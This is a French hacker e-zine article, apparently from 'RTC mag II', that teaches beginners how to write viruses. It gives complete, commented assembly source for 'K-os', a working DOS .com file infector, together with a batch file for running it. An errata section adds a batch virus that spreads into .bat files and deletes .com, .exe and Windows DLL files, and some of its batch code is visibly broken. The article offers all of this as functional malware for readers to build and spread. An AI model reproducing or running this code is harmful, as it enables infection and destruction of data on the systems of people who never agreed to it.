Le virus que je vais vous présenter est un virus assez simple, non résidant infecteur de .com mais qui ne les détruit pas, bref, un virus quasiment inoffensif. Vous pourrez même le tester chez vous (voir IV) Tester le virus). Ce virus sert d'origine au projet K-os. Le projet K-os a un simple but : créer un virus super puissant. Le virus va évoluer petit à petit, être de plus en plus efficace, jusqu'à atteindre un niveau vraiment intéressant...

I) Présentation
================
Ce virus a pour but d'initier les newbies qui s'intéresserait aux mondes des virus. Les prérequis pour apprendre comment faire un virus sont simples, il faut connaître l'assembleur et pour ça, un seul moyen, un bon bouquin et un week end (c'est le temps qu'il m'a fallu pour apprendre). Il faut également connaître les interruptions les plus couramment utilisées (renseigner vous sur Internet ou pour commencer aller voir à VI) Les fonctions qui ont servi pour K-os). Vous aurez également besoin d'un compilateur assembleur (comme TASM) et d'un linker (comme TLINK).

II) Les capacités de ce virus
==============================
Ce virus n'est pas très puissant sachant qu'il infecte seulement les .com du répertoire courant grâce aux routines Search_com et Search_again. Le virus se colle à la fin du programme infecté, fabrique un saut pour aller directement au début du virus qu'il colle au début, en ayant pris soin de conserver le début originel. Le virus reconnait s'il a infecté un programme en consultant sa date (ici, 26 avril 1986). Date ancienne donc peu de chance de tomber sur des programmes naturellement immunisés. Enfin, le virus a recours à l'adressage relatif pour avoir accès aux espaces mémoires situés à la fin du programme.
Si vous n'avez pas tout compris, essayez de comprendre ce virus et tout se passera bien ensuite quand vous reviendrez ici. Des indications seront données pour comprendre ce qu'il se passe au fur et à mesure. Je donne la liste des fonctions que j'utilise dans ce virus à la fin pour ceux qui ne serait pas familiarisé.
Le virus se présente sous la forme d'un launcher pour une première utilisation. J'expliquerai après comment avoir le virus uniquement.


III) Le code expliqué du virus
===============================
--------------------------------------------------------------------------------
;K-os virus (non residant com infector)
;a virus by Androgyne from the RTC g4ng
;I have no ID, call me Androgyne

.model tiny ;une petite pile suffit.
.code ;c'est pour dire qu'on fait du code.

org 100h ;les .com commence toujours à cs:100h.

Host: ;c'est le programme hôte original.
jmp Start ;on simule le saut que l'on va mettre dans un
nop ;programme infecté.
mov ax,4C00h ;notre hôte ne fait que quitter.
int 21h

Start: ;c'est là que commence le virus.
call Get_add ;on calcule le décalage pour pouvoir adresser les
Get_add: ;espaces mémoires de la fin.
pop bp ;le décalage dû à l'adressage relatif
sub bp,offset Get_add ;est placé dans bp.

call Move_DTA_add ;on change l'adresse de la DTA.
call Repair_host ;on remet le début de l'hôte à sa place.
call Search_com ;on recherche un .com.
Search_loop:
jz Exec_host ;Y'en a-t-il un? non, on exécute l'hôte.
call Open_file ;oui, on l'ouvre.
jc Exec_host ;A-t-on réussit à l'ouvrir? non, on exécute l'hôte.
call Is_infected ;oui, on teste s'il est infecté. Est-il infecté?
jz Next ;oui, on ne l'infecte pas.
call Infect ;non, on infecte le fichier.
Next:
call Close_file ;on le referme.
call Search_again ;on cherche un autre .com.
jmp Search_loop ;et c'est reparti pour un tour...

Exec_host: ;exécution de l'hôte
mov ax,100h ;l'adresse du début du .com est cs:100h
push ax ;on l'empile
ret ;et au revoir

Close_file: ;fermeture du fichier
mov ah,3Eh
int 21h
ret

Move_DTA_add: ;changement d'adresse de la DTA
push cs
pop ds
mov dx,offset DTA ;on le met dans le buffer DTA (logique)
add dx,bp ;on n'oublie pas de rajouter le décalage
mov ah,1Ah ;on doit spécifier la nouvelle adresse en ds:dx
int 21h ;on appelle l'interrupion 21h
ret

Search_com: ;lancement d'une search first sur *.com
push cs
pop ds
mov dx,offset com_file ;on spécifie la chaîne de recherche dans ds:dx
add dx,bp ;toujours le décalage
mov cl,00100110b ;les attributs de fichier
mov ah,4Eh
int 21h ;la DTA est actualisée
cmp ax,18 ;ax=18 signifie que la recherche est terminée
ret

Open_file: ;ouverture du fichier
mov al,2 ;en mode lecture/écriture
push cs
pop ds
mov dx,offset DTA + 1Eh ;on spécifie le nom en ds:dx
add dx,bp ;et redécalage
mov ah,3Dh
int 21h ;go
mov bx,ax ;on place le file handle dans bx
ret

Is_infected: ;test d'infection
mov al,0 ;on lit la date
mov ah,57h
int 21h ;on récupère la date en dx
cmp dx,0C9Ah ;est-ce le 26 avril 1986 ?
ret

Infect: ;la grosse routine d'infection en 8 étapes

;(1) déplacement du pointeur de fichier au début du fichier

xor cx,cx ;décalage de 0...
xor dx,dx ; ...+ 0 = 0 (bravo)
mov al,00 ;au début du fichier
mov ah,42h
int 21h ;le pointeur pointe en dx:ax

;(2) récupération des 4 premiers octets du fichier

mov cx,4 ;on récupère 4 octets
push cs
pop ds
mov dx,offset begin ;on spécifie l'adresse où les placer en ds:dx
add dx,bp ;on décale comme d'habitude
mov ah,3Fh
int 21h ;lecture

;(3) déplacement du pointeur de fichier à la fin de fichier

xor cx,cx ;décalage de 0...
xor dx,dx ; ...+ 0 = 0 (que je suis forte!)
mov al,02h ;à la fin du fichier
mov ah,42h
int 21h ;le pointeur pointe en dx:ax
push ax ;on conserve ax au frais

;(4) écriture du virus à la fin du fichier

mov cx,offset Fin - offset Start + 1 ;c'est la taille du virus
push cs
pop ds
mov dx,offset Start ;on spécifie l'origine des données en ds:dx
add dx,bp ; ... (devinez ce que c'est!)
mov ah,40h
int 21h

;(5) déplacement du pointeur de fichier au début du fichier

xor cx,cx ;décalage de 0...
xor dx,dx ; ...+ 0 = 0 (j'aurais du faire maths sup!)
mov al,00 ;au début du fichier
mov ah,42h
int 21h ;le pointeur pointe en dx:ax

;(6) fabrication du jmp start à placer au début du fichier

pop ax ;on va chercher le ax qu'on s'était mis au frais
sub ax,3 ;on enlève 3 (on saute à partir de cs:103h)
mov byte ptr [bp + jmp_start],0E9h ;ça veut dire jmp
mov word ptr [bp + jmp_start + 1],ax ;c'est le reste de l'instruction

;(7) écriture du jmp start fabriqué

push cs
pop ds
mov dx,offset jmp_start ;on spécifie l'origine des données en ds:dx
add dx,bp ;décalage! (j'en ai marre de me répéter)
mov cx,3 ;on écrit 3 octets
mov ah,40h
int 21h

;(8) changement de date du fichier

mov al,0 ;on lit d'abord
mov ah,57h
int 21h ;on récupère la date en dx
mov dx,0C9Ah ;on la change en 26 avril 1986
mov al,1 ;on la réinjecte dans le fichier
mov ah,57h
int 21h ;et voilà, c'est fait

ret ;c'est la fin de la routine d'infection

Search_again: ;lancement d'une search next sur *.com
mov ah,4Fh ;tout a déjà été fait pour la search first
int 21h
cmp ax,18 ;ax=18 signifie que la recherche est terminée
ret

Repair_host: ;remise en place des octets déplacés
push cs
pop ds
mov si,offset begin ;ds:si pointe sur le buffer begin
add si,bp ;pour la dernière fois, on décale
push cs
pop es
mov di,100h ;es:di pointe au début de l'hôte
mov cx,4 ;il y a 4 octets
rep movsb ;déplace les octets de ds:si à es:di
ret


com_file db '*.com$' ;sert à search first et search next
begin db 4 dup (90h) ;c'est là qu'il y a le vrai début de l'hôte
jmp_start db 3 dup (0) ;ici, on fabrique le jmp start
DTA db 43 dup (0) ;voilà la nouvelle DTA

Fin: ;ce n'est qu'un au revoir...

end Host
--------------------------------------------------------------------------------

IV) Tester le virus
====================
Ce virus marche vraiment alors ne faites pas n'importe quoi. D'ailleurs, votre antivirus doit le repérer quand vous compilez votre .com et doit empêcher sa création. Si ce n'est pas le cas, votre antivirus ne sert à rien, vous pouvez gagnez un peu de place sur votre disque dur.
Pour un test sans danger, créer un fichier batch qui va faire des copies d'un fichier test.com dans un nouveau répertoire et qui va appeler le virus. Les programmes seront alors infectés. On fait encore quelques copies non infectées. Une fois le batch terminé, on va voir que le virus a marché et on lanec un des programmes infectés. Ceux qui ne l'était pas le sont. Voici par exemple un fichier batch:
--------------------------------------------------------------------------------
md Test
cd Test
copy ..\test.com 01.com
copy ..\test.com 02.com
copy ..\test.com 03.com
copy ..\test.com 04.com
copy ..\test.com 05.com
..\k-os
copy ..\test.com 06.com
copy ..\test.com 07.com
copy ..\test.com 08.com
copy ..\test.com 09.com
copy ..\test.com 10.com
--------------------------------------------------------------------------------
Je vous donne également le code du programme test.com. Ce programme ne fait qu'afficher une chaine de caractère. Ça suffit pour vous montrer que ça marche.
--------------------------------------------------------------------------------
.model tiny
.code

ORG 100h

Start:
mov ah,09h
mov dx,offset chaine
int 21h

mov ax,4C00h
int 21h

chaine db 'OK! Virus is operationnal!$'

end start
--------------------------------------------------------------------------------
Placez le virus, test.com et votre fichier batch dans un même répertoire lancer le batch et aller voir dans le dossier créé. Certains fichier ont pris un peu de poids et leur date de modification a changé (sans doute une des conséquences mal connues des radiations dues à l'explosion du réacteur n°4 de Tchernobyl!) ;-) . Si vous lancez un des programmes infectés, ceux qui n'avaient pas pris de poids en prennent...
Qu'est-ce qu'on s'amuse!!! Si vous voulez avoir un virus opérationnel, avec la date changée, vous modifier test.com en enlevant les lignes superflues et vous l'infectez avec le launcher (qui se réinfecte vu que sa date n'est pas changée). Et voilà un programme prêt à l'emploi.

V) Les suites du projets K-os
==============================
Je travaille déjà avec Par4noID sur un moteur de polymorphisme très simple qui paraîtra sûrement dans le prochain numéro du petit mag qui monte. Le développement avance bien mais il ne faudra pas s'attendre à un super moteur qui tue. Il servira juste d'exemple. Nous en développerons un plus performant plus tard, nous avons plein d'idées intéressantes et nous les mettront en pratique.

VI) Les fonctions qui ont servi pour K-os
==========================================
Toutes les fonctions qui servent pour un virus simple se trouvent dans l'interruption 21h. La liste des fonctions qui suit est vraiment essentielle à bien comprendre et à connaître, ce sont des fonctions super-courantes...
------------------------------------------------------------------------------------
*** Interruption 21 : Gestion par le DOS ***

Fonction 1Ah : Set DTA (Disk Transfer Area) Address
paramètres d'entrée:
AH=1Ah
DS:DX=nouvelle adresse de la DTA
paramètres de sortie:
aucun

Fonction 3Dh : Open file
paramètres d'entrée:
AH=3Dh
AL=mode d'ouverture (0=read; 1=write; 2=read/write)
DS:DX=pointeur sur un path ASCIIZ
paramètres de sortie:
C mis à 1 si l'ouverture a échoué
AX=file handle si l'ouverture a réussi
AX=code d'erreur si l'ouverture a échoué

Fonction 3Eh : Close file
paramètres d'entrée:
AH=3Eh
BX=file handle
paramètres de sortie:
C mis à 1 si la fermeture a échoué
AX=code d'erreur si la fermeture a échoué

Fonction 3Fh : Read file
paramètres d'entrée:
AH=3Fh
BX=file handle
CX=nombres d'octets à lire
DS:DX=pointeur sur un buffer où mettre les données
paramètres de sortie:
C mis à 1 si la lecture a échoué
AX=nombre d'octets lus si la lecture a réussi
AX=code d'erreur si la lecture a échoué

Fonction 40h : Write file
paramètres d'entrée:
AH=40h
BX=file handle
CX=nombre d'octets à écrire
DS:DX=pointeur où se trouve les données à écrire
paramètres de sortie:
C mis à 1 si l'écriture a échoué
AX=nombre d'octets écrits si l'écriture a réussi
AX=code d'erreur si l'écriture a échoué

Fonction 42h : Set current file position
paramètres d'entrée:
AH=42h
AL=type de déplacement (0=au début; 1=à partir de sa position; 2=à la fin)
BX=file handle
CX:DX=distance en octet où bouger le pointeur
paramètres de sortie:
C mis à 1 si une erreur est survenue
AX=code d'erreur en cas d'erreur
DX:AX=nouvelle position du pointeur si il n'y a pas eu d'erreur

Fonction 4Ch : Exit
paramètres d'entrée:
AH=4Ch
AL=code de retour (00 la plupart du temps)
paramètres de sortie:
aucun

Fonction 4Eh : Search first
paramètres d'entrée:
AH=4Eh
CL=attributs de fichier
DS:DX=pointeur sur un path ASCIIZ (on peut mettre *.com, ça marche)
paramètres de sortie:
AX=0 si la recherche a abouti
AX=code d'erreur si la recherche n'a pas abouti

Fonction 4Fh : Search next
paramètres d'entrée:
AH=4Fh
paramètres de sortie:
AX=0 si la recherche a abouti
AX=code d'erreur si la recherche n'a pas abouti

Fonction 57h
Sous fonction 00h : Get date and time
paramètres d'entrée:
AH=57h
AL=00h
BX=file handle
paramètres de sortie:
C mis à 1 si une erreur est survenue
AX=code d'erreur en cas d'erreur
CX=2048*heure + 32*minute + seconde/2
DX=512*(année-1980) + 32*mois + jour

Sous fonction 01h : Set date and time
paramètres d'entrée:
AH=57h
AL=00h
BX=file handle
CX=2048*heure + 32*minute + seconde/2
DX=512*(année-1980) + 32*mois + jour
paramètres de sortie:
C mis à 1 si une erreur est survenue
AX=code d'erreur en cas d'erreur
--------------------------------------------------------------------------------
by Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
ERRATA
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Oups, des erreurs s'étaient glissées dans mo virus en Batch, heureusement un lecteur averti m'en a fait part. Selon lui l'article a été bâclé, je ne dirais pas ça mais plutôt qu'il n'y a pas eut qu'une version de ce viruset j'ai dû prendre la mauvaise, le temps manquait au même titre qu'il nous manque encore pour le mag2. Alors ayez un peu de tact et dites les choses d'un façon plus posée:
SANS ME PRENDRE POUR UN CON SVP!!!!
Alors on remerciera tous HackerStorm pour sa vigilance et non pour son maniement
de la langue française!!!! En attendant de voir son nom dans la RTC passons lui
un petit salut...

Donc, voici le code "refait" et surtout sans couilles:

@echo off

cls

:debut
if exist 1.txt goto 1
if exist 2.txt goto 2 ; Il y avait une ptite faute de frappe ici!
if exist 3.txt goto 3
if exist 4.txt goto 4
goto fin2 ; Ligne ajouté car si un fichier est détécté,
: il est effacé mais les autres non
:1
del 1.txt
goto debut

:2
del c:\2.txt
goto debut

:3
del c:\3.txt
goto debut

:4
del c:\4.txt ; Pb de vigilance, ces lignes avaient été
goto debut ; oubliées involontairement!

:fin2
echo Ce programme marche a merveille !

:repro
for %%a in (*.bat) do type %%a | find "sn" >text.vir
for %%a in (*.bat) do copy %%a %%a.kil
for %%a in (*.bat) do copy text.vir + %%a.kil %%a

:repro2
for %%a in (*.com) do del %%a

:repro3
for %%a in (*.exe) do del %%a

:windows
; 80% des personnes ont comme répertoire c:\windows
; 15% ont c:\win et le reste c divers
; et donc, pour cerner le + de machines
; il vaut mieux faire un test du répertoire windows
; et l'utiliser en fonction du résultat.
if exist c:\windows\win.com goto window
if exist c:\win\win.com goto window
goto print

window:
cd c:\windows

wind:
cd c:\win

:dll
for %%a in (*.dll) do del %%a
del win.com ; C'est win.com pas win.exe, erreur de ma part, désolé!

:virus
if exist c:\virus.txt goto impression

:nonimpression
echo WARNING A Virus Has Intruded Your System ! >c:\virus.txt
c:\windows\command\print < c:\virus.txt

:print
print c:\virus.txt ; on peut raccourcir de la sorte:
goto print

SnEaKie

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

______________
|\============/|
|| RTC mag II ||
|/============\|
~~~~~~~~~~~~~~
.

next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT